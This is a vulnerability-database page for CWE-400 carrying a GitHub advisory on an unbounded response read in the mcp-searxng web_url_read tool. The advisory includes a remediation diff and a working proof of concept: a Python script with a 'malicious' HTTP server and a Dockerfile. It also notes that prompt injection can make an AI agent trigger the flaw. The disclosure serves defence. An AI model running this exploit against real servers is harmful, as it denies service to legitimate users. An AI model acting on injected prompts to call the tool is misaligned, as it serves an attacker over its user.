Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

The product does not properly control the allocation and maintenance of a limited resource.

5412 vulnerabilities reference this CWE, most recent first.

GHSA-XCQX-9JF5-W339

Vulnerability from github – Published: 2026-06-19 21:42 – Updated: 2026-06-19 21:42
VLAI
Summary
SearXNG MCP Server: Unbounded Response Body Read Bypasses URL Size Limit in `web_url_read`
Details

Unbounded Response Body Read Bypasses URL Size Limit in web_url_read

Summary

The web_url_read MCP tool in mcp-searxng enforces its 5 MiB response-size limit exclusively by inspecting the Content-Length header of a preliminary HEAD request. When a server omits Content-Length — a standard HTTP practice — checkContentLength() returns null, the guard condition short-circuits to false, and response.text() loads the entire response body into memory without any byte cap. An unauthenticated attacker who controls or can redirect to an HTTP endpoint can force the server process to consume unbounded memory and CPU, leading to a Denial of Service.

Details

web_url_read is the entry point (src/index.ts:226-240). It passes the caller-supplied URL directly into readUrlContent() in src/url-reader.ts.

Size-limit check (bypassed)

// src/url-reader.ts:352-360
const contentLength = await checkContentLength(...);
if (contentLength !== null && contentLength > maxContentLengthBytes) {
  return createContentTooLargeMessage(contentLength, maxContentLengthBytes);
}

checkContentLength() (src/url-reader.ts:243-245) returns null when the HEAD response carries no Content-Length header. Because the guard uses the !== null conjunction, a null result causes the entire check to evaluate as false, and execution falls through without enforcing the configured 5 MiB ceiling.

Unbounded sinks

A full GET request is then issued (src/url-reader.ts:367) with no streaming byte cap:

// src/url-reader.ts:414  — normal response path
htmlContent = await response.text();

// src/url-reader.ts:402  — error response path (same issue)
responseBody = await response.text();

The full HTML string is subsequently passed to NodeHtmlMarkdown.translate() (src/url-reader.ts:429), which amplifies CPU consumption proportional to the body size.

Default exposure

web_url_read is enabled by default. In HTTP transport mode, authentication is disabled by default, so AV:N/PR:N applies unconditionally. In stdio mode, an attacker can trigger the path via prompt injection to cause the AI model to call the tool with an attacker-controlled URL.

PoC

Prerequisites

  • Docker installed.
  • Build context: the repository root (npmAI_249_ihor-sokoliuk__mcp-searxng/).

Build the image

docker build \
  -t vuln002-test \
  -f vuln-002/Dockerfile \
  reports/npmAI_249_ihor-sokoliuk__mcp-searxng/

Run the PoC

docker run --rm vuln002-test

The container starts two processes: 1. A malicious HTTP server on 127.0.0.1:9799 that responds to HEAD with HTTP 200 and no Content-Length, then responds to GET with a 6,291,456-byte HTML body and no Content-Length. 2. mcp-searxng in HTTP mode (MCP_HTTP_ALLOW_PRIVATE_URLS=true enables loopback URLs for local reproduction).

The PoC script initializes an MCP session and calls:

{
  "method": "tools/call",
  "params": {
    "name": "web_url_read",
    "arguments": { "url": "http://127.0.0.1:9799/", "maxLength": 1 }
  }
}

Observed output (Phase 2 confirmation)

HEAD_REQUESTS              : 1
GET_REQUESTS               : 1
GET_BYTES_SENT             : 6,291,456
CONFIGURED_DEFAULT_LIMIT   : 5,242,880
BYTES_OVER_LIMIT           : +1,048,576
ELAPSED_SEC                : 0.17
TOOL_STATUS                : SUCCESS
RETURNED_LENGTH_CHARS      : 1

[PASS] VULNERABILITY CONFIRMED
  6,291,456 bytes were transmitted to mcp-searxng despite a 5,242,880-byte (5 MiB) limit.
  Root cause confirmed:
    1. HEAD response had no Content-Length header.
    2. checkContentLength() returned null  (url-reader.ts:243-245)
    3. Guard condition was false (null !== null => false) (url-reader.ts:359)
    4. response.text() read 6,291,456 bytes without a cap (url-reader.ts:414)

Remediation

Replace both response.text() calls with a streaming reader that aborts once the byte counter exceeds maxContentLengthBytes:

+async function readResponseTextWithLimit(response: Response, maxBytes: number): Promise<string | null> {
+  if (!response.body) return response.text();
+  const reader = response.body.getReader();
+  const decoder = new TextDecoder();
+  const chunks: string[] = [];
+  let total = 0;
+  while (true) {
+    const { done, value } = await reader.read();
+    if (done) break;
+    total += value.byteLength;
+    if (total > maxBytes) { await reader.cancel(); return null; }
+    chunks.push(decoder.decode(value, { stream: true }));
+  }
+  chunks.push(decoder.decode());
+  return chunks.join("");
+}

-        responseBody = await response.text();
+        responseBody = await readResponseTextWithLimit(response, maxContentLengthBytes)
+          ?? "[Response body exceeded configured size limit]";

-      htmlContent = await response.text();
+      const limitedBody = await readResponseTextWithLimit(response, maxContentLengthBytes);
+      if (limitedBody === null) {
+        return createContentTooLargeMessage(maxContentLengthBytes + 1, maxContentLengthBytes);
+      }
+      htmlContent = limitedBody;

Impact

This is an Uncontrolled Resource Consumption (DoS) vulnerability. Any network-reachable attacker who can supply a URL to the web_url_read tool can force the mcp-searxng process to allocate memory proportional to an arbitrarily large HTTP response body and burn CPU during HTML-to-Markdown conversion. The attack requires no authentication in the default HTTP transport configuration. In stdio mode, the attack surface is accessible through prompt injection targeting the AI agent. Repeated or concurrent invocations can exhaust process memory and render the MCP server unavailable to all legitimate users.

Reproduction artifacts

Dockerfile

FROM node:20-slim

# Install Python3 for the PoC script
RUN apt-get update && apt-get install -y --no-install-recommends python3 \
    && rm -rf /var/lib/apt/lists/*

# Copy repository source and build the vulnerable mcp-searxng
# Build context: parent directory (npmAI_249_ihor-sokoliuk__mcp-searxng/)
WORKDIR /app
COPY repo/ /app/
RUN npm ci && npm run build

# Copy the PoC script
COPY vuln-002/poc.py /poc.py

# Run the dynamic reproduction PoC
CMD ["python3", "-u", "/poc.py"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-002: Unbounded Response Body Read Bypasses URL Size Limit (CWE-400)

Affected: ihor-sokoliuk/mcp-searxng v1.6.0
File:     src/url-reader.ts:414 (response.text())
CWE:      CWE-400 Uncontrolled Resource Consumption
CVSS:     7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Root cause:
  checkContentLength() at src/url-reader.ts:243-245 returns null when the
  server sends no Content-Length header.  The guard at line 359:
      if (contentLength !== null && contentLength > maxContentLengthBytes)
  evaluates to false (null !== null => false), so the check is skipped.
  response.text() at line 414 then reads the full body without any byte cap.

Reproduction:
  1. Malicious HTTP server (this process, port 9799):
       HEAD => 200, Content-Type only, NO Content-Length
       GET  => 200, 6+ MiB HTML body, NO Content-Length
  2. mcp-searxng (subprocess, HTTP mode, port 3000):
       MCP_HTTP_ALLOW_PRIVATE_URLS=true  -- allows 127.x for local PoC
  3. This script initializes an MCP session, calls web_url_read pointing
     at the malicious server, and measures actual bytes transmitted.

Expected evidence:
  GET_BYTES_SENT > CONFIGURED_DEFAULT_LIMIT (5242880)
  => The 5 MiB guard was bypassed; full body was consumed without a cap.
"""

import json
import os
import socket
import subprocess
import sys
import threading
import time
import urllib.error
import urllib.request
from http.server import BaseHTTPRequestHandler, HTTPServer

# ---------------------------------------------------------------------------
# Constants
# ---------------------------------------------------------------------------
DEFAULT_MAX_CONTENT_LENGTH = 5 * 1024 * 1024  # 5 MiB (same as src/url-reader.ts)
BODY_SIZE_BYTES = 6 * 1024 * 1024             # 6 MiB — exceeds the configured limit
EVIL_PORT = 9799
MCP_PORT  = 3000

# ---------------------------------------------------------------------------
# Shared state — updated by the malicious server thread
# ---------------------------------------------------------------------------
g_bytes_sent = 0
g_head_count = 0
g_get_count  = 0

# ---------------------------------------------------------------------------
# Malicious HTTP server
# ---------------------------------------------------------------------------
class MaliciousHandler(BaseHTTPRequestHandler):
    """
    Simulates an attacker-controlled HTTP server that:
      - Returns 200 for HEAD with NO Content-Length (triggers null in checkContentLength)
      - Returns 200 for GET with a 6 MiB body and NO Content-Length
        (triggers unbounded response.text() read)
    """

    # Use HTTP/1.0 so the connection closes after the body — no Content-Length needed.
    protocol_version = "HTTP/1.0"

    def log_message(self, fmt, *args):  # suppress default per-request logging
        pass

    def do_HEAD(self):
        global g_head_count
        g_head_count += 1
        print(
            f"[EVIL-SERVER] HEAD #{g_head_count} from {self.address_string()}"
            " — responding 200 with NO Content-Length (triggers null in checkContentLength)",
            flush=True,
        )
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        # Deliberately omitting Content-Length — this is the bypass trigger
        self.end_headers()

    def do_GET(self):
        global g_get_count, g_bytes_sent
        g_get_count += 1
        print(
            f"[EVIL-SERVER] GET #{g_get_count} from {self.address_string()}"
            f" — streaming {BODY_SIZE_BYTES:,} bytes with NO Content-Length",
            flush=True,
        )
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        # Deliberately NO Content-Length header
        self.end_headers()

        # Build a simple but large HTML body that exceeds DEFAULT_MAX_CONTENT_LENGTH.
        # Simple structure keeps NodeHtmlMarkdown conversion fast.
        header = b"<html><body><pre>"
        footer = b"</pre></body></html>"
        payload_char = b"A"
        target = BODY_SIZE_BYTES - len(header) - len(footer)
        chunk_size = 65536  # 64 KiB chunks
        total = 0
        try:
            self.wfile.write(header)
            total += len(header)
            while total < BODY_SIZE_BYTES - len(footer):
                chunk = payload_char * min(chunk_size, BODY_SIZE_BYTES - len(footer) - total)
                self.wfile.write(chunk)
                total += len(chunk)
            self.wfile.write(footer)
            total += len(footer)
        except (BrokenPipeError, OSError):
            pass  # client may close early on abort
        g_bytes_sent = total
        print(f"[EVIL-SERVER] Done. Total bytes sent: {g_bytes_sent:,}", flush=True)


def run_evil_server():
    srv = HTTPServer(("127.0.0.1", EVIL_PORT), MaliciousHandler)
    srv.serve_forever()


# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
def wait_for_port(host: str, port: int, timeout: float = 30) -> bool:
    deadline = time.monotonic() + timeout
    while time.monotonic() < deadline:
        try:
            with socket.create_connection((host, port), timeout=1):
                return True
        except (ConnectionRefusedError, OSError):
            time.sleep(0.3)
    return False


def http_post(url: str, payload: dict, session_id: str | None = None, timeout: float = 120) -> tuple[bytes, str, str | None]:
    """POST a JSON-RPC payload to the MCP HTTP endpoint. Returns (body, content_type, session_id)."""
    headers = {
        "Content-Type": "application/json",
        "Accept": "application/json, text/event-stream",
    }
    if session_id:
        headers["mcp-session-id"] = session_id

    data = json.dumps(payload).encode()
    req = urllib.request.Request(url, data=data, headers=headers, method="POST")
    with urllib.request.urlopen(req, timeout=timeout) as resp:
        body = resp.read()
        ct   = resp.headers.get("content-type", "")
        sid  = resp.headers.get("mcp-session-id")
        return body, ct, sid


def parse_mcp_response(body: bytes, content_type: str) -> dict | None:
    """Parse a JSON or SSE-wrapped JSON-RPC response."""
    if "text/event-stream" in content_type:
        for line in body.decode(errors="replace").splitlines():
            if line.startswith("data: "):
                try:
                    return json.loads(line[6:])
                except json.JSONDecodeError:
                    continue
        return None
    try:
        return json.loads(body)
    except json.JSONDecodeError:
        # Fallback: try SSE even if content-type says JSON
        for line in body.decode(errors="replace").splitlines():
            if line.startswith("data: "):
                try:
                    return json.loads(line[6:])
                except json.JSONDecodeError:
                    continue
        return None


# ---------------------------------------------------------------------------
# Main PoC
# ---------------------------------------------------------------------------
def main():
    print("=" * 72, flush=True)
    print("VULN-002 PoC — Unbounded Response Body Read Bypasses URL Size Limit", flush=True)
    print("=" * 72, flush=True)
    print(f"  DEFAULT_MAX_CONTENT_LENGTH_BYTES : {DEFAULT_MAX_CONTENT_LENGTH:,}", flush=True)
    print(f"  EVIL_BODY_SIZE_BYTES             : {BODY_SIZE_BYTES:,}", flush=True)
    print(f"  BYTES_OVER_LIMIT                 : +{BODY_SIZE_BYTES - DEFAULT_MAX_CONTENT_LENGTH:,}", flush=True)
    print(flush=True)

    # ------------------------------------------------------------------
    # Step 1: Start the malicious HTTP server
    # ------------------------------------------------------------------
    print(f"[*] Starting malicious HTTP server on 127.0.0.1:{EVIL_PORT} ...", flush=True)
    evil_thread = threading.Thread(target=run_evil_server, daemon=True)
    evil_thread.start()
    if not wait_for_port("127.0.0.1", EVIL_PORT, timeout=5):
        print("[ERROR] Malicious server failed to start within 5 s", flush=True)
        sys.exit(1)
    print("[+] Malicious server ready", flush=True)

    # ------------------------------------------------------------------
    # Step 2: Start mcp-searxng in HTTP mode
    # ------------------------------------------------------------------
    print(f"[*] Starting mcp-searxng HTTP server on 127.0.0.1:{MCP_PORT} ...", flush=True)
    env = {
        **os.environ,
        "MCP_HTTP_PORT"             : str(MCP_PORT),
        "MCP_HTTP_HOST"             : "127.0.0.1",
        "SEARXNG_URL"               : "http://127.0.0.1:8080",   # not used in this test
        # Allow 127.x URLs so the PoC can point at the local malicious server.
        # (Real attacks target public servers — this env var enables local reproduction.)
        "MCP_HTTP_ALLOW_PRIVATE_URLS": "true",
        "NODE_ENV"                  : "production",
    }
    proc = subprocess.Popen(
        ["node", "/app/dist/cli.js"],
        env=env,
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
    )

    def stream_server_logs():
        for line in proc.stdout:
            print(f"[MCP-SERVER] {line.decode(errors='replace').rstrip()}", flush=True)

    log_thread = threading.Thread(target=stream_server_logs, daemon=True)
    log_thread.start()

    if not wait_for_port("127.0.0.1", MCP_PORT, timeout=20):
        print("[ERROR] mcp-searxng HTTP server failed to start within 20 s", flush=True)
        proc.terminate()
        sys.exit(1)
    print("[+] mcp-searxng HTTP server ready", flush=True)

    mcp_url = f"http://127.0.0.1:{MCP_PORT}/mcp"

    # ------------------------------------------------------------------
    # Step 3: Initialize MCP session
    # ------------------------------------------------------------------
    print("[*] Initializing MCP session ...", flush=True)
    init_body, init_ct, session_id = http_post(
        mcp_url,
        payload={
            "jsonrpc": "2.0",
            "id": 1,
            "method": "initialize",
            "params": {
                "protocolVersion": "2024-11-05",
                "capabilities": {},
                "clientInfo": {"name": "vuln002-poc", "version": "1.0"},
            },
        },
    )
    init_resp = parse_mcp_response(init_body, init_ct)
    if not init_resp or "result" not in init_resp:
        print(f"[ERROR] initialize failed: {init_body[:400]}", flush=True)
        proc.terminate()
        sys.exit(1)
    print(f"[+] Session initialized. session_id={session_id}", flush=True)

    # Send notifications/initialized (no response expected — ignore errors)
    try:
        http_post(
            mcp_url,
            session_id=session_id,
            payload={"jsonrpc": "2.0", "method": "notifications/initialized"},
            timeout=10,
        )
    except Exception:
        pass  # 202 with empty body or similar non-error responses

    # ------------------------------------------------------------------
    # Step 4: Call web_url_read pointing at the malicious server
    # ------------------------------------------------------------------
    evil_url = f"http://127.0.0.1:{EVIL_PORT}/"
    print(flush=True)
    print(f"[*] Calling web_url_read with URL: {evil_url}", flush=True)
    print(f"    HEAD response will have NO Content-Length", flush=True)
    print(f"    => checkContentLength() returns null", flush=True)
    print(f"    => guard at url-reader.ts:359 is bypassed", flush=True)
    print(f"    => response.text() at url-reader.ts:414 reads ALL {BODY_SIZE_BYTES:,} bytes", flush=True)

    t_start = time.monotonic()
    try:
        tool_body, tool_ct, _ = http_post(
            mcp_url,
            session_id=session_id,
            payload={
                "jsonrpc": "2.0",
                "id": 2,
                "method": "tools/call",
                "params": {
                    "name": "web_url_read",
                    "arguments": {"url": evil_url, "maxLength": 1},
                },
            },
            timeout=120,
        )
        elapsed = time.monotonic() - t_start
        tool_resp = parse_mcp_response(tool_body, tool_ct)
    except urllib.error.HTTPError as e:
        elapsed = time.monotonic() - t_start
        tool_resp = parse_mcp_response(e.read(), e.headers.get("content-type", ""))
    except Exception as e:
        elapsed = time.monotonic() - t_start
        print(f"[WARN] tool call exception: {e}", flush=True)
        tool_resp = None

    # Give the evil server thread a moment to flush its final log
    time.sleep(0.5)

    # ------------------------------------------------------------------
    # Step 5: Collect and report evidence
    # ------------------------------------------------------------------
    print(flush=True)
    print("=" * 72, flush=True)
    print("[EVIDENCE]", flush=True)
    print(f"  HEAD_REQUESTS              : {g_head_count}", flush=True)
    print(f"  GET_REQUESTS               : {g_get_count}", flush=True)
    print(f"  GET_BYTES_SENT             : {g_bytes_sent:,}", flush=True)
    print(f"  CONFIGURED_DEFAULT_LIMIT   : {DEFAULT_MAX_CONTENT_LENGTH:,}", flush=True)
    print(
        f"  BYTES_OVER_LIMIT           : {g_bytes_sent - DEFAULT_MAX_CONTENT_LENGTH:+,}",
        flush=True,
    )
    print(f"  ELAPSED_SEC                : {elapsed:.2f}", flush=True)

    if tool_resp:
        if "error" in tool_resp:
            err = tool_resp["error"]
            print(
                f"  TOOL_STATUS                : ERROR code={err.get('code')} "
                f"msg={str(err.get('message', ''))[:120]}",
                flush=True,
            )
        elif "result" in tool_resp:
            content = tool_resp["result"].get("content", [])
            text = content[0].get("text", "") if content else ""
            print(f"  TOOL_STATUS                : SUCCESS", flush=True)
            print(f"  RETURNED_LENGTH_CHARS      : {len(text)}", flush=True)
            print(f"  RETURNED_EXCERPT           : {repr(text[:80])}", flush=True)
    else:
        print(f"  TOOL_STATUS                : (raw) {tool_body[:200] if tool_body else b'<no body>'}", flush=True)

    print("=" * 72, flush=True)

    # ------------------------------------------------------------------
    # Verdict
    # ------------------------------------------------------------------
    bypass_confirmed = g_bytes_sent > DEFAULT_MAX_CONTENT_LENGTH

    if bypass_confirmed:
        print(flush=True)
        print("[PASS] VULNERABILITY CONFIRMED", flush=True)
        print(
            f"  {g_bytes_sent:,} bytes were transmitted to mcp-searxng despite a "
            f"{DEFAULT_MAX_CONTENT_LENGTH:,}-byte ({DEFAULT_MAX_CONTENT_LENGTH // (1024*1024)} MiB) limit.",
            flush=True,
        )
        print(f"  Root cause confirmed:", flush=True)
        print(f"    1. HEAD response had no Content-Length header.", flush=True)
        print(f"    2. checkContentLength() returned null  (url-reader.ts:243-245)", flush=True)
        print(f"    3. Guard condition was false (null !== null => false) (url-reader.ts:359)", flush=True)
        print(f"    4. response.text() read {g_bytes_sent:,} bytes without a cap (url-reader.ts:414)", flush=True)
        proc.terminate()
        sys.exit(0)
    else:
        print(flush=True)
        if g_get_count == 0:
            print("[FAIL] GET request was never received — mcp-searxng did not fetch from the evil server", flush=True)
        else:
            print(
                f"[FAIL] GET request received but bytes_sent={g_bytes_sent:,} <= limit={DEFAULT_MAX_CONTENT_LENGTH:,}",
                flush=True,
            )
        proc.terminate()
        sys.exit(1)


if __name__ == "__main__":
    main()
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "mcp-searxng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:42:43Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Unbounded Response Body Read Bypasses URL Size Limit in `web_url_read`\n\n### Summary\n\nThe `web_url_read` MCP tool in mcp-searxng enforces its 5 MiB response-size limit exclusively by inspecting the `Content-Length` header of a preliminary HEAD request. When a server omits `Content-Length` \u2014 a standard HTTP practice \u2014 `checkContentLength()` returns `null`, the guard condition short-circuits to `false`, and `response.text()` loads the entire response body into memory without any byte cap. An unauthenticated attacker who controls or can redirect to an HTTP endpoint can force the server process to consume unbounded memory and CPU, leading to a Denial of Service.\n\n### Details\n\n`web_url_read` is the entry point (`src/index.ts:226-240`). It passes the caller-supplied URL directly into `readUrlContent()` in `src/url-reader.ts`.\n\n**Size-limit check (bypassed)**\n\n```ts\n// src/url-reader.ts:352-360\nconst contentLength = await checkContentLength(...);\nif (contentLength !== null \u0026\u0026 contentLength \u003e maxContentLengthBytes) {\n  return createContentTooLargeMessage(contentLength, maxContentLengthBytes);\n}\n```\n\n`checkContentLength()` (`src/url-reader.ts:243-245`) returns `null` when the HEAD response carries no `Content-Length` header. Because the guard uses the `!== null` conjunction, a `null` result causes the entire check to evaluate as `false`, and execution falls through without enforcing the configured 5 MiB ceiling.\n\n**Unbounded sinks**\n\nA full GET request is then issued (`src/url-reader.ts:367`) with no streaming byte cap:\n\n```ts\n// src/url-reader.ts:414  \u2014 normal response path\nhtmlContent = await response.text();\n\n// src/url-reader.ts:402  \u2014 error response path (same issue)\nresponseBody = await response.text();\n```\n\nThe full HTML string is subsequently passed to `NodeHtmlMarkdown.translate()` (`src/url-reader.ts:429`), which amplifies CPU consumption proportional to the body size.\n\n**Default exposure**\n\n`web_url_read` is enabled by default. In HTTP transport mode, authentication is disabled by default, so `AV:N/PR:N` applies unconditionally. In stdio mode, an attacker can trigger the path via prompt injection to cause the AI model to call the tool with an attacker-controlled URL.\n\n### PoC\n\n**Prerequisites**\n\n- Docker installed.\n- Build context: the repository root (`npmAI_249_ihor-sokoliuk__mcp-searxng/`).\n\n**Build the image**\n\n```bash\ndocker build \\\n  -t vuln002-test \\\n  -f vuln-002/Dockerfile \\\n  reports/npmAI_249_ihor-sokoliuk__mcp-searxng/\n```\n\n**Run the PoC**\n\n```bash\ndocker run --rm vuln002-test\n```\n\nThe container starts two processes:\n1. A malicious HTTP server on `127.0.0.1:9799` that responds to HEAD with HTTP 200 and **no `Content-Length`**, then responds to GET with a 6,291,456-byte HTML body and **no `Content-Length`**.\n2. mcp-searxng in HTTP mode (`MCP_HTTP_ALLOW_PRIVATE_URLS=true` enables loopback URLs for local reproduction).\n\nThe PoC script initializes an MCP session and calls:\n\n```json\n{\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"web_url_read\",\n    \"arguments\": { \"url\": \"http://127.0.0.1:9799/\", \"maxLength\": 1 }\n  }\n}\n```\n\n**Observed output (Phase 2 confirmation)**\n\n```\nHEAD_REQUESTS              : 1\nGET_REQUESTS               : 1\nGET_BYTES_SENT             : 6,291,456\nCONFIGURED_DEFAULT_LIMIT   : 5,242,880\nBYTES_OVER_LIMIT           : +1,048,576\nELAPSED_SEC                : 0.17\nTOOL_STATUS                : SUCCESS\nRETURNED_LENGTH_CHARS      : 1\n\n[PASS] VULNERABILITY CONFIRMED\n  6,291,456 bytes were transmitted to mcp-searxng despite a 5,242,880-byte (5 MiB) limit.\n  Root cause confirmed:\n    1. HEAD response had no Content-Length header.\n    2. checkContentLength() returned null  (url-reader.ts:243-245)\n    3. Guard condition was false (null !== null =\u003e false) (url-reader.ts:359)\n    4. response.text() read 6,291,456 bytes without a cap (url-reader.ts:414)\n```\n\n**Remediation**\n\nReplace both `response.text()` calls with a streaming reader that aborts once the byte counter exceeds `maxContentLengthBytes`:\n\n```diff\n+async function readResponseTextWithLimit(response: Response, maxBytes: number): Promise\u003cstring | null\u003e {\n+  if (!response.body) return response.text();\n+  const reader = response.body.getReader();\n+  const decoder = new TextDecoder();\n+  const chunks: string[] = [];\n+  let total = 0;\n+  while (true) {\n+    const { done, value } = await reader.read();\n+    if (done) break;\n+    total += value.byteLength;\n+    if (total \u003e maxBytes) { await reader.cancel(); return null; }\n+    chunks.push(decoder.decode(value, { stream: true }));\n+  }\n+  chunks.push(decoder.decode());\n+  return chunks.join(\"\");\n+}\n\n-        responseBody = await response.text();\n+        responseBody = await readResponseTextWithLimit(response, maxContentLengthBytes)\n+          ?? \"[Response body exceeded configured size limit]\";\n\n-      htmlContent = await response.text();\n+      const limitedBody = await readResponseTextWithLimit(response, maxContentLengthBytes);\n+      if (limitedBody === null) {\n+        return createContentTooLargeMessage(maxContentLengthBytes + 1, maxContentLengthBytes);\n+      }\n+      htmlContent = limitedBody;\n```\n\n### Impact\n\nThis is an **Uncontrolled Resource Consumption (DoS)** vulnerability. Any network-reachable attacker who can supply a URL to the `web_url_read` tool can force the mcp-searxng process to allocate memory proportional to an arbitrarily large HTTP response body and burn CPU during HTML-to-Markdown conversion. The attack requires no authentication in the default HTTP transport configuration. In stdio mode, the attack surface is accessible through prompt injection targeting the AI agent. Repeated or concurrent invocations can exhaust process memory and render the MCP server unavailable to all legitimate users.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:20-slim\n\n# Install Python3 for the PoC script\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends python3 \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\n# Copy repository source and build the vulnerable mcp-searxng\n# Build context: parent directory (npmAI_249_ihor-sokoliuk__mcp-searxng/)\nWORKDIR /app\nCOPY repo/ /app/\nRUN npm ci \u0026\u0026 npm run build\n\n# Copy the PoC script\nCOPY vuln-002/poc.py /poc.py\n\n# Run the dynamic reproduction PoC\nCMD [\"python3\", \"-u\", \"/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-002: Unbounded Response Body Read Bypasses URL Size Limit (CWE-400)\n\nAffected: ihor-sokoliuk/mcp-searxng v1.6.0\nFile:     src/url-reader.ts:414 (response.text())\nCWE:      CWE-400 Uncontrolled Resource Consumption\nCVSS:     7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\nRoot cause:\n  checkContentLength() at src/url-reader.ts:243-245 returns null when the\n  server sends no Content-Length header.  The guard at line 359:\n      if (contentLength !== null \u0026\u0026 contentLength \u003e maxContentLengthBytes)\n  evaluates to false (null !== null =\u003e false), so the check is skipped.\n  response.text() at line 414 then reads the full body without any byte cap.\n\nReproduction:\n  1. Malicious HTTP server (this process, port 9799):\n       HEAD =\u003e 200, Content-Type only, NO Content-Length\n       GET  =\u003e 200, 6+ MiB HTML body, NO Content-Length\n  2. mcp-searxng (subprocess, HTTP mode, port 3000):\n       MCP_HTTP_ALLOW_PRIVATE_URLS=true  -- allows 127.x for local PoC\n  3. This script initializes an MCP session, calls web_url_read pointing\n     at the malicious server, and measures actual bytes transmitted.\n\nExpected evidence:\n  GET_BYTES_SENT \u003e CONFIGURED_DEFAULT_LIMIT (5242880)\n  =\u003e The 5 MiB guard was bypassed; full body was consumed without a cap.\n\"\"\"\n\nimport json\nimport os\nimport socket\nimport subprocess\nimport sys\nimport threading\nimport time\nimport urllib.error\nimport urllib.request\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n# ---------------------------------------------------------------------------\n# Constants\n# ---------------------------------------------------------------------------\nDEFAULT_MAX_CONTENT_LENGTH = 5 * 1024 * 1024  # 5 MiB (same as src/url-reader.ts)\nBODY_SIZE_BYTES = 6 * 1024 * 1024             # 6 MiB \u2014 exceeds the configured limit\nEVIL_PORT = 9799\nMCP_PORT  = 3000\n\n# ---------------------------------------------------------------------------\n# Shared state \u2014 updated by the malicious server thread\n# ---------------------------------------------------------------------------\ng_bytes_sent = 0\ng_head_count = 0\ng_get_count  = 0\n\n# ---------------------------------------------------------------------------\n# Malicious HTTP server\n# ---------------------------------------------------------------------------\nclass MaliciousHandler(BaseHTTPRequestHandler):\n    \"\"\"\n    Simulates an attacker-controlled HTTP server that:\n      - Returns 200 for HEAD with NO Content-Length (triggers null in checkContentLength)\n      - Returns 200 for GET with a 6 MiB body and NO Content-Length\n        (triggers unbounded response.text() read)\n    \"\"\"\n\n    # Use HTTP/1.0 so the connection closes after the body \u2014 no Content-Length needed.\n    protocol_version = \"HTTP/1.0\"\n\n    def log_message(self, fmt, *args):  # suppress default per-request logging\n        pass\n\n    def do_HEAD(self):\n        global g_head_count\n        g_head_count += 1\n        print(\n            f\"[EVIL-SERVER] HEAD #{g_head_count} from {self.address_string()}\"\n            \" \u2014 responding 200 with NO Content-Length (triggers null in checkContentLength)\",\n            flush=True,\n        )\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/html; charset=utf-8\")\n        # Deliberately omitting Content-Length \u2014 this is the bypass trigger\n        self.end_headers()\n\n    def do_GET(self):\n        global g_get_count, g_bytes_sent\n        g_get_count += 1\n        print(\n            f\"[EVIL-SERVER] GET #{g_get_count} from {self.address_string()}\"\n            f\" \u2014 streaming {BODY_SIZE_BYTES:,} bytes with NO Content-Length\",\n            flush=True,\n        )\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/html; charset=utf-8\")\n        # Deliberately NO Content-Length header\n        self.end_headers()\n\n        # Build a simple but large HTML body that exceeds DEFAULT_MAX_CONTENT_LENGTH.\n        # Simple structure keeps NodeHtmlMarkdown conversion fast.\n        header = b\"\u003chtml\u003e\u003cbody\u003e\u003cpre\u003e\"\n        footer = b\"\u003c/pre\u003e\u003c/body\u003e\u003c/html\u003e\"\n        payload_char = b\"A\"\n        target = BODY_SIZE_BYTES - len(header) - len(footer)\n        chunk_size = 65536  # 64 KiB chunks\n        total = 0\n        try:\n            self.wfile.write(header)\n            total += len(header)\n            while total \u003c BODY_SIZE_BYTES - len(footer):\n                chunk = payload_char * min(chunk_size, BODY_SIZE_BYTES - len(footer) - total)\n                self.wfile.write(chunk)\n                total += len(chunk)\n            self.wfile.write(footer)\n            total += len(footer)\n        except (BrokenPipeError, OSError):\n            pass  # client may close early on abort\n        g_bytes_sent = total\n        print(f\"[EVIL-SERVER] Done. Total bytes sent: {g_bytes_sent:,}\", flush=True)\n\n\ndef run_evil_server():\n    srv = HTTPServer((\"127.0.0.1\", EVIL_PORT), MaliciousHandler)\n    srv.serve_forever()\n\n\n# ---------------------------------------------------------------------------\n# Helpers\n# ---------------------------------------------------------------------------\ndef wait_for_port(host: str, port: int, timeout: float = 30) -\u003e bool:\n    deadline = time.monotonic() + timeout\n    while time.monotonic() \u003c deadline:\n        try:\n            with socket.create_connection((host, port), timeout=1):\n                return True\n        except (ConnectionRefusedError, OSError):\n            time.sleep(0.3)\n    return False\n\n\ndef http_post(url: str, payload: dict, session_id: str | None = None, timeout: float = 120) -\u003e tuple[bytes, str, str | None]:\n    \"\"\"POST a JSON-RPC payload to the MCP HTTP endpoint. Returns (body, content_type, session_id).\"\"\"\n    headers = {\n        \"Content-Type\": \"application/json\",\n        \"Accept\": \"application/json, text/event-stream\",\n    }\n    if session_id:\n        headers[\"mcp-session-id\"] = session_id\n\n    data = json.dumps(payload).encode()\n    req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\")\n    with urllib.request.urlopen(req, timeout=timeout) as resp:\n        body = resp.read()\n        ct   = resp.headers.get(\"content-type\", \"\")\n        sid  = resp.headers.get(\"mcp-session-id\")\n        return body, 